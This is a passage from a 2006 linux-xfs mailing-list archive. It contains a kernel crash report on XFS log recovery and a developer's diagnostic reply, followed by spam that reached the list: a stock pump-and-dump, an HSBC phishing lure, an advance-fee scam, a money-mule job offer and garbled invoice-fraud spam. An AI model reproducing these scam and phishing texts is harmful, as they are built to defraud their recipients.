ebx: f7876000 ecx: 000034a6 edx: c05ac001 esi: 00000000 edi: c065f300 ebp: 00000000 esp: f7877a18 ds: 007b es: 007b ss: 0068 Process mount (pid: 2233, threadinfo=f7876000 task=f7fd1a70) Stack: <0>c055eb7d c052b8b2 c065f300 00000293 00000000 00000000 f7877b1c 00000000 c02e47c2 00000000 c05506fc f79bdd40 000e81e7 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 f7877afc f7877b1c 00000000 Call Trace: [] xfs_bmap_search_extents+0x122/0x130 [] xfs_bunmapi+0x1a1/0x1290 [] _xfs_buf_lookup_pages+0x1d9/0x2d0 [] activate_page+0x9d/0xb0 [] xfs_iformat_btree+0x120/0x240 [] kmem_zone_alloc+0x90/0xc0 [] xfs_trans_log_inode+0x2d/0x60 [] xfs_itruncate_finish+0x2a4/0x430 [] xfs_inactive+0x4c3/0x5e0 [] xfs_itobp+0xe9/0x250 [] linvfs_clear_inode+0x61/0x90 [] clear_inode+0xd8/0xf0 [] generic_delete_inode+0xf7/0x120 [] xlog_recover_process_iunlinks+0x363/0x3e0 [] xlog_recover_finish+0xc0/0xd0 [] xfs_log_mount_finish+0x48/0x60 [] xfs_mountfs+0x938/0x1040 [] __down_failed+0x7/0xc [] xfs_buf_rele+0x25/0xe0 [] xfs_readsb+0x199/0x230 [] xfs_ioinit+0x26/0x50 [] xfs_mount+0x3e8/0x6d0 [] linvfs_fill_super+0xa1/0x1f0 [] snprintf+0x27/0x30 [] disk_name+0x62/0xd0 [] sb_set_blocksize+0x2e/0x60 [] get_sb_bdev+0xdd/0x150 [] linvfs_get_sb+0x2f/0x40 [] linvfs_fill_super+0x0/0x1f0 [] do_kern_mount+0x5b/0xd0 [] do_new_mount+0x83/0xe0 [] do_mount+0x1e5/0x220 [] copy_mount_options+0x60/0xc0 [] sys_mount+0x9f/0xe0 [] syscall_call+0x7/0xb Code: c7 44 24 08 00 f3 65 c0 c7 04 24 7d eb 55 c0 89 44 24 04 e8 a4 95 dd ff ff 74 24 0c 9d ff 4b 14 8b 43 08 a8 08 75 20 85 ed 75 08 <0f> 0b 39 00 c3 6d 53 c0 8b 5c 24 10 8b 74 24 14 8b 7c 24 18 8b <6>Adding 1004020k swap on /dev/hda6. Priority:-1 extents:1 across:1004020k snd: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_hwdep: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_util_mem: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_page_alloc: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_timer: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_seq_device: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_pcm: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_ac97_bus: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_ac97_codec: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_rawmidi: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' snd_emu10k1: version magic '2.6.16-gentoo-r3 preempt K7 gcc-4.1' should be '2.6.16-gentoo-r3 preempt K7 gcc-3.4' nvidia: module license 'NVIDIA' taints kernel. ACPI: PCI Interrupt 0000:01:00.0[A] -> Link [LNKA] -> GSI 11 (level, low) -> IRQ 11 xfs_db: CLX ~ # xfs_db -r /dev/hdb1 -c "inode 950759" -c "print" core.magic = 0x494e core.mode = 0100644 core.version = 1 core.format = 3 (btree) core.nlinkv1 = 0 core.uid = 1000 core.gid = 100 core.flushiter = 0 core.atime.sec = Sun Aug 27 14:56:52 2006 core.atime.nsec = 657389250 core.mtime.sec = Sun Aug 27 16:29:40 2006 core.mtime.nsec = 080196250 core.ctime.sec = Thu Oct 5 01:17:40 2006 core.ctime.nsec = 976565958 core.size = 32071862 core.nblocks = 7833 core.extsize = 0 core.nextents = 28 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.immutable = 0 core.append = 0 core.sync = 0 core.noatime = 0 core.nodump = 0 core.rtinherit = 0 core.projinherit = 0 core.nosymlinks = 0 core.extsz = 0 core.extszinherit = 0 core.gen = 0 next_unlinked = null u.bmbt.level = 1 u.bmbt.numrecs = 1 u.bmbt.keys[1] = [startoff] 1:[0] u.bmbt.ptrs[1] = 1:185933 Am Mittwoch, 18. Oktober 2006 06:54 schrieben Sie: > Hi, > > --On 16 October 2006 9:14:35 PM +0000 peyytmek@gmx.de wrote: > > I've got a problem with my xfs-partition after my pc crashed. > > Every programm that tries to use hdb1 just freezes like mount or even > > xfs_check (even killall -9 proc-name doesn't help) > > > > thats what i get with dmesg. maybe someone of you can understand it. > > It was in the log recovery code. > Part of the recovery code processes the unlinked list, which has > referenced inodes which have been unlinked from their parent directories. > On the unclean unmount ("pc crashed"), during recovery it is supposed > to delete these inodes and truncate their extents, so it can recover > the space etc... > During this processing we've died in xfs_bmap_search_extents when > it detects an error it calls xfs_cmn_err CE_ALERT -> cmn_err CE_PANIC > in support/debug.c. > I guess there is a problem after it processes the extents in > xfs_bmap_search_multiextents which sets up the found extent entry. > You could print out the offending inode with xfs_db to show us > what it looks like: $xfs_db -r /dev/hdb1 -c "inode 950759" -c "print". > > Interestingly with an older xfs we never did inode unlink processing > because of a double endian conversion bug which Shailendra found. > So without the fix, it ended up just skipping over these inodes and > they were cleaned up until xfs_repair was used; but it would still > do the actual log replay nonetheless. > > So it would be interesting to do a recovery without unlinked-list > processing. It looks like we have a mount flag for this but > are not setting it (used by something else) - d'oh. > Do you have a kernel dated prior to May 26? > It might be interesting to mount with it since it didn't do > the unlink processing effectively. Then one could unmount straight > afterwards and run repair. > > --Tim > > > thanks in advance. > > > > dmesg on hdb1 on boot: > > > > XFS mounting filesystem hdb1 > > Starting XFS recovery on filesystem: hdb1 (logdev: internal) > > Access to block zero: fs: inode: 950759 start_block : 0 start_off > > > > : 0 blkcnt : 0 extent-state : 0 > > > > ------------[ cut here ]------------ > > kernel BUG at fs/xfs/support/debug.c:57! > > invalid opcode: 0000 [#1] > > PREEMPT > > Modules linked in: > > CPU: 0 > > EIP: 0060:[] Not tainted VLI > > EFLAGS: 00010246 (2.6.18-gentoo #7) > > EIP is at cmn_err+0xb9/0xe0 > > eax: 00000000 ebx: 00000297 ecx: ffffffff edx: 00004301 > > esi: f78c97a0 edi: c064e2e0 ebp: 00000000 esp: f7c9b75c > > ds: 007b es: 007b ss: 0068 > > Process mount (pid: 2114, ti=f7c9a000 task=f7c5d050 task.ti=f7c9a000) > > Stack: c0556f3b c052284a c064e2e0 f7c9b788 f7c9b8f8 f78c97a0 f7c9b93c > > 00000000 c02dec27 00000000 c0548610 f7cd54c0 000e81e7 00000000 00000000 > > 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000001 > > 00000000 Call Trace: > > [] xfs_bmap_search_extents+0x117/0x120 > > [] xfs_bunmapi+0x1d4/0x1db0 > > [] ide_dma_exec_cmd+0x30/0x40 > > [] ide_dma_start+0x33/0x50 > > [] ide_do_request+0x682/0x830 > > [] ide_end_request+0x14c/0x160 > > [] mempool_alloc+0x38/0x120 > > [] mempool_alloc+0x38/0x120 > > [] as_set_request+0x26/0x80 > > [] find_lock_page+0x2c/0xc0 > > [] xfs_bunmapi+0x0/0x1db0 > > [] xfs_itruncate_finish+0x28f/0x460 > > [] xfs_inactive+0x668/0xca0 > > [] xfs_buf_get_flags+0x293/0x4a0 > > [] xfs_buf_read_flags+0x34/0xa0 > > [] xfs_trans_read_buf+0x5c/0x3e0 > > [] xfs_buf_offset+0x44/0x50 > > [] xfs_fs_clear_inode+0x3e/0xa0 > > [] clear_inode+0x5a/0xe0 > > [] generic_delete_inode+0xf6/0x130 > > [] xlog_recover_process_iunlinks+0x559/0x580 > > [] xfs_buf_free+0x5b/0x110 > > [] xlog_recover_finish+0x3d2/0x510 > > [] xfs_initialize_vnode+0x3ab/0x3c0 > > [] xfs_iget+0x429/0x737 > > [] xfs_mountfs+0xe40/0x1060 > > [] default_wake_function+0x0/0x20 > > [] __down_failed+0x7/0xc > > [] generic_unplug_device+0x0/0x40 > > [] xfs_buf_rele+0x25/0xe0 > > [] xfs_mount+0x6e1/0xa60 > > [] xfs_fs_fill_super+0x9d/0x240 > > [] snprintf+0x2b/0x30 > > [] disk_name+0x98/0xd0 > > [] sb_set_blocksize+0x1f/0x50 > > [] get_sb_bdev+0x13b/0x180 > > [] xfs_fs_get_sb+0x37/0x40 > > [] xfs_fs_fill_super+0x0/0x240 > > [] vfs_kern_mount+0x4c/0xa0 > > [] do_kern_mount+0x42/0x60 > > [] do_mount+0x28d/0x730 > > [] link_path_walk+0x7d/0x100 > > [] dput+0x23/0x190 > > [] putname+0x31/0x40 > > [] do_path_lookup+0xb0/0x2e0 > > [] getname+0xb1/0x100 > > [] vfs_stat+0x1f/0x30 > > [] __get_free_pages+0x34/0x60 > > [] copy_mount_options+0x44/0x130 > > [] sys_mount+0x9d/0xe0 > > [] syscall_call+0x7/0xb > > Code: e0 e2 64 c0 c7 04 24 3b 6f 55 c0 89 44 24 04 e8 7e 37 de ff 53 9d > > 89 e0 25 00 e0 ff ff ff 48 14 8b 40 08 a8 08 75 20 85 ed 75 08 <0f> 0b 39 > > 00 b8 ec 52 c0 8b 5c 24 10 8b 74 24 14 8b 7c 24 18 8b > > EIP: [] cmn_err+0xb9/0xe0 SS:ESP 0068:f7c9b75c > > <6>Adding 1004020k swap on /dev/hda6. Priority:-1 extents:1 > > across:1004020k ------------------------------------------------------- From owner-xfs@oss.sgi.com Thu Oct 19 08:36:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 08:36:24 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JFa4aG025372 for ; Thu, 19 Oct 2006 08:36:05 -0700 X-ASG-Debug-ID: 1161268282-19604-101-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nat-n21-017.tsi.tychy.pl (nat-n21-017.tsi.tychy.pl [83.142.122.17]) by cuda.sgi.com (Spam Firewall) with ESMTP id C9FED4B6E74 for ; Thu, 19 Oct 2006 07:31:23 -0700 (PDT) Message-ID: <000c01c6f38b$42413050$117a8e53@banana> From: "date here" To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: criminal Subject: criminal Date: Thu, 19 Oct 2006 16:31:26 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="windows-1250"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568I, BSF_RULE7568M, BSF_SC2_SA016 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.50 BSF_RULE7568I BODY: Custom Rule 7568I 0.50 BSF_RULE7568M BODY: Custom Rule 7568M 0.50 BSF_SC2_SA016 Custom Rule SA016 X-archive-position: 9360 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: wmtuied@xmlfr.org Precedence: bulk X-list: xfs Status: O An Investor ALERT is being issued starting right N0W. Keep your eyes glued on P.S.U.D!! PETROSUN DRILLING (P.S.U.D.) Current Price: 1.16 Don't get caught in the dust, start watchin today because this company has been known to release major news at any time which could bring the st0ck up!! Current News PetroSun Completes Equity Investment in ElectraTherm PetroSun, Incorporated (PSUD - News) announced that the company has finalized its Series A Preferred Stock Purchase Agreement with ElectraTherm, ..... Check your stock source for full press releases on this exciting stock! Don't miss out ! might rated Teen obscene words violence. explicit violence sexual themes likely receive Mature rating means should laws prohibit HTML extension Folder Options control panel look Types tab. Select Document type opens preferred If doesnt work sold separately other. order play specific was designed. example Pikmin Nintendo GameCube. most popular comes their offer them your and make deal. they everybody keeps From owner-xfs@oss.sgi.com Thu Oct 19 09:09:27 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 09:09:35 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JG9PaG031381 for ; Thu, 19 Oct 2006 09:09:26 -0700 X-ASG-Debug-ID: 1161268808-19640-219-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from webhotel2.webhosting.dk (webhotel2.webhosting.dk [81.19.232.102]) by cuda.sgi.com (Spam Firewall) with ESMTP id B92224B4FFC for ; Thu, 19 Oct 2006 07:40:08 -0700 (PDT) Received: from wwwserv by webhotel2.webhosting.dk with local (Exim 4.54) id 1GaZ7S-0006GY-6n for xfs@oss.sgi.com; Thu, 19 Oct 2006 16:43:38 +0200 To: xfs@oss.sgi.com X-ASG-Orig-Subj: FRAUD ALERT ON YOUR ACCOUNT Subject: FRAUD ALERT ON YOUR ACCOUNT From: HSBC Reply-To: MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Thu, 19 Oct 2006 16:43:38 +0200 X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: wwwserv@webhotel2.webhosting.dk X-SA-Exim-Scanned: No (on webhotel2.webhosting.dk); SAEximRunCond expanded to false X-Barracuda-Spam-Score: 0.87 X-Barracuda-Spam-Status: No, SCORE=0.87 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC7_SA015a, HTML_TAG_EXIST_TBODY, MIME_HTML_ONLY, REPLY_TO_EMPTY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.64 REPLY_TO_EMPTY Reply-To: is empty 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.10 BSF_SC7_SA015a Custom Rule SA015a X-archive-position: 9361 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: securityalert@hsbc.co.uk Precedence: bulk X-list: xfs Status: O HSBC - Ownership Verification
HSBC Bank plc *
HSBC Bank
plc
* *
*
*



Dear Valued Customer

This is an automated message sent to protect your account. You are required to complete this process by clicking on the link below.

https://Securityalert.HSBC.co.uk/1/2/

HSBC Bank Plc
Security Advisor
HSBC Bank PLC.


Please do not reply to this e-mail. Mail sent to this address cannot be answered.
For assistance, log in to your HSBC Online Bank account and choose the "Help" link on any page.

HSBC Email ID # 1009

From owner-xfs@oss.sgi.com Thu Oct 19 09:36:24 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 09:36:34 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JGaLaG002407 for ; Thu, 19 Oct 2006 09:36:24 -0700 X-ASG-Debug-ID: 1161270369-17018-586-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from chello062178239088.5.15.vie.surfer.at (chello062178239088.5.15.vie.surfer.at [62.178.239.88]) by cuda.sgi.com (Spam Firewall) with ESMTP id D21704B59C0 for ; Thu, 19 Oct 2006 08:06:09 -0700 (PDT) Message-ID: <000301c6f390$1b3e0f50$58efb23e@davidox> From: "way:" To: xfs@oss.sgi.com X-ASG-Orig-Subj: homework when saved Subject: homework when saved Date: Thu, 19 Oct 2006 17:06:08 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568I, BSF_RULE7568M, BSF_SC2_SA016 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23614 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.50 BSF_RULE7568I BODY: Custom Rule 7568I 0.50 BSF_RULE7568M BODY: Custom Rule 7568M 0.50 BSF_SC2_SA016 Custom Rule SA016 X-archive-position: 9362 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ozgexkp@vwa.com Precedence: bulk X-list: xfs Status: O An Investor ALERT is being issued starting right N0W. Keep your eyes glued on P.S.U.D!! PETROSUN DRILLING (P.S.U.D.) Current Price: 1.16 Don't get caught in the dust, start watchin today because this company has been known to release major news at any time which could bring the st0ck up!! Current News PetroSun Completes Equity Investment in ElectraTherm PetroSun, Incorporated (PSUD - News) announced that the company has finalized its Series A Preferred Stock Purchase Agreement with ElectraTherm, ..... Check your stock source for full press releases on this exciting stock! Don't miss out ! better so just announced major worlds companies Sony BMG Warner Group bring launched mobile devices adapted more phones languages added features traffic info. today Alpie.net Beyond Satire Bladam Catspaws Inevitably Insane Chris Saccas Left Doctor Awesome Donal Mountains notes Dr. Razavis Ego Food Dutch Cowboys Guide Jeremy Zawodnys John Battelles Searchblog Pilgrim MSN Nathan Weinbergs Inside Philipp Lenssens Spanish Facts Robert Scobles Scobleizer Rael Dornfests Raelity Bytes Pandia Resource Shelf From owner-xfs@oss.sgi.com Thu Oct 19 10:24:23 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 10:24:32 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JHOMaG012571 for ; Thu, 19 Oct 2006 10:24:23 -0700 X-ASG-Debug-ID: 1161275085-24585-566-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp6.libero.it (smtp6.libero.it [193.70.192.59]) by cuda.sgi.com (Spam Firewall) with ESMTP id EAC5BD19BDBB for ; Thu, 19 Oct 2006 09:24:45 -0700 (PDT) Received: from localhost (172.16.1.47) by smtp6.libero.it (7.0.027-DD01) id 451C4E6901D0AA23; Thu, 19 Oct 2006 17:58:42 +0200 Received: from smtp2.libero.it ([172.16.1.225]) by localhost (asav7.libero.it [193.70.193.93]) (amavisd-new, port 10024) with ESMTP id 13925-11-12; Thu, 19 Oct 2006 17:58:41 +0200 (CEST) Received: from libero.it (192.168.17.2) by smtp2.libero.it (7.0.027-DD01) id 451C4551006DB217; Thu, 19 Oct 2006 17:58:41 +0200 Date: Thu, 19 Oct 2006 17:58:41 +0200 Message-Id: X-ASG-Orig-Subj: RESPOND URGENTLY Subject: RESPOND URGENTLY MIME-Version: 1.0 X-Sensitivity: 3 Content-Type: text/plain; charset=iso-8859-1 From: "shadak.sherif" X-XaM3-API-Version: 4.3 (R1) (B3pl17) X-SenderIP: 196.3.63.252 X-Scanned: with antispam and antivirus automated system at libero.it X-Barracuda-Spam-Score: 1.94 X-Barracuda-Spam-Status: No, SCORE=1.94 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_SOMETHING, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23618 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.61 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k9JHONaG012593 X-archive-position: 9363 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: shadak.sherif@libero.it Precedence: bulk X-list: xfs Status: O Dear Sir, Can a dieing man trust you with a huge sum of money for his last wish?If yes reply me urgently on shadaksherif2@spray.se to get more details. Regards, ------------------------------------------------------ Fino al 30% di risparmio + sconto extra del 10%. Scopri Direct Line con il preventivo gratuito, entro il 31 Ottobre! http://click.libero.it/direct_line7 From owner-xfs@oss.sgi.com Thu Oct 19 14:07:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 14:08:02 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JL7gaG020362; Thu, 19 Oct 2006 14:07:43 -0700 X-ASG-Debug-ID: 1161287993-9818-276-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tm.net.my (unknown [219.95.62.85]) by cuda.sgi.com (Spam Firewall) with SMTP id 15119D19C6F4; Thu, 19 Oct 2006 12:59:54 -0700 (PDT) Date: Thu, 19 Oct 2006 22:58:50 +0200 From: "Evelyn Tripp" Message-ID: <32874821.8335183569@disjunct.com> To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Part-time Job: Apply now Subject: Part-time Job: Apply now MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.95 X-Barracuda-Spam-Status: No, SCORE=0.95 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_10_20, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.94 HTML_10_20 BODY: Message is 10% to 20% HTML 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9364 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cartographer@ranmamail.com Precedence: bulk X-list: xfs Status: O JOB

Perfect Job. Don't loose you chance, apply now!

We are representatives of well-known company founded and based in USA, which deals mainly with financial services like escrow services for buyers and sellers on online auctions around the globe, offered both on closed commercial auctions (stock sales, business sales etc.) where the number of buyers is not large and on ebay.com, amazon.com, yahoo.com - well-known public online auctions.

This is a part-time job with a flexible schedule. You work only 1-2 hours per day (Monday- Friday).

This is work at home job. All communication will be online.

Job requirements: Internet access and e-mail.

There's no entrance or any other fees. The company covers all the fees related to this employment.

To the successful applicants we offer a position on a trial period (1 month starting from the beginning of work). This is the period when you will be training, receiving online support while working and being paid. The evaluation of employees on a trial period is usually at least one week prior to the end of their trial period. During the trial period, the supervisor can recommend termination. At the end of the trial period, supervisor makes his

The trial period is paid 1000 EUR per month. From every payment received from a client you will be keeping 8% commission. Your total income, with the current volume of clients, will be added up to 1800 EUR per month. Your base salary, after trial period, will go up to 1500 EUR per month, plus 8% commission!

You may ask additional hours after trial period, or proceed full-time.

If you are interested in this part-time job and would like to learn more about this position, please send us filled form to our e-mail: interested@advertise2you.com Our human resources managers will contact you within 48 hours.

Full name:
Country of residence:
Age:
Contact phone:
Preferred call time:

Thank You,


New York, 14026, USA
Phone: +1 (347) 438-3116

From owner-xfs@oss.sgi.com Thu Oct 19 16:51:57 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 16:52:07 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9JNptaG020775 for ; Thu, 19 Oct 2006 16:51:57 -0700 X-ASG-Debug-ID: 1161297474-11752-103-1 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 126.com (unknown [219.134.121.50]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5C4C84B55FE for ; Thu, 19 Oct 2006 15:38:06 -0700 (PDT) From: =?GB2312?B?uN/J+g==?= X-ASG-Orig-Subj: =?GB2312?B?y9m72NL0?= Subject: =?GB2312?B?y9m72NL0?= To: "linux-xfs" Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 8bit Reply-To: gaodongjun99256@126.com Date: Fri, 20 Oct 2006 06:38:37 +0800 X-Mailer: Foxmail 5.0 beta2 Message-Id: <20061019223806.5C4C84B55FE@cuda.sgi.com> X-Barracuda-Spam-Score: 0.98 X-Barracuda-Spam-Status: No, SCORE=0.98 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MAILTO_TO_SPAM_ADDR, MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23638 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email X-archive-position: 9365 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: gaodongjun99256@126.com Precedence: bulk X-list: xfs Status: O ²ÆÎñ¾­Àí~ÄúºÃ£¡ ÎÒ¹«Ë¾ÊÇÒ»°ãÄÉ˰ÈËÆóÒµ£¬ÏÖÒò½øÏî¶à³öÏîÉÙ½øÐÐÁ˶ÔÍâÓŻݴú¿ªË°Æ±:¶¼ÒÔ¸÷µØÊ¡£ÜÊжà¼Ò¹«Ë¾ÓëÉú²ú³§ ¡ÚÉϺ£¡¢Õã½­¡¢¹ã¶«¡¢¡¢¡¢¡ÛÓÐÒµÎñÍùÀ´£¬ÆÕͨ¹úµØË°£ûÉÌÆ·ÏúÊÛ,ÉÌÒµ,¹¤Òµ.»õÎïÏúÊÛרÓÃ˰Ʊ, ¹ã¸æÒµ×¨ÓÃ˰Ʊ, ½¨Öþ°²×°Ë°Æ±,¹«Â·ÄÚºÓÔËÊä˰Ʊ,¹ú¼Êº£ÔË˰Ʊ,·þÎñÀà˰Ʊ,·Ï¾ÉÎïרÓÃ˰Ʊ.....µÈ£ýÖ»ÊÕ1.5%×óÓÒ,Ôöֵ˰˰µãÔÚ 4.5%×óÓÒ.»¶Ó­ÄúÀ´µçÇ¢ÉÌ£¡ (´Ë×ÊÁϳ¤ÆÚÓÐЧ,ÈçÓÐÖØ·¢µ½ÄúÓÊÏä»òÄúûÓÐÕâ·½ÃæÐèÒª,¶ÔÄúÔì³É²»±ä¾´ÇëÁ½â~) ÁªÏµÈË:¸ß¶«¿¡(¾­Àí) ÁªÏµµç»°:13691999256 Email:gaodongjun99256@yahoo.com.cn From owner-xfs@oss.sgi.com Thu Oct 19 17:34:55 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 19 Oct 2006 17:35:06 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9K0YsaG026984 for ; Thu, 19 Oct 2006 17:34:55 -0700 X-ASG-Debug-ID: 1161300643-4076-266-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from natklopstock.rzone.de (natklopstock.rzone.de [81.169.145.174]) by cuda.sgi.com (Spam Firewall) with ESMTP id 30F5C4B4BC0 for ; Thu, 19 Oct 2006 16:30:44 -0700 (PDT) Received: from xinemediamobil (a81-14-186-119.net-htp.de [81.14.186.119]) (authenticated bits=0) by post.webmailer.de (8.13.6/8.13.6) with ESMTP id k9JMLTgF009904; Fri, 20 Oct 2006 00:21:34 +0200 (MEST) From: "NORBERT PETER | XINEMEDIA | HANNOVER" To: "NORBERT PETER | XINEMEDIA | HANNOVER" X-ASG-Orig-Subj: =?iso-8859-1?Q?Stammdaten=E4nderung_|_Xinemedia_Hannover?= Subject: =?iso-8859-1?Q?Stammdaten=E4nderung_|_Xinemedia_Hannover?= Date: Fri, 20 Oct 2006 00:22:15 +0200 Message-ID: <002801c6f3cd$69088890$0401a8c0@xinemediamobil> MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 Thread-Index: Acbzt0d4TB2vMx8JS8+zXg1N5G+WPwABmizAAAO6OSA= X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user 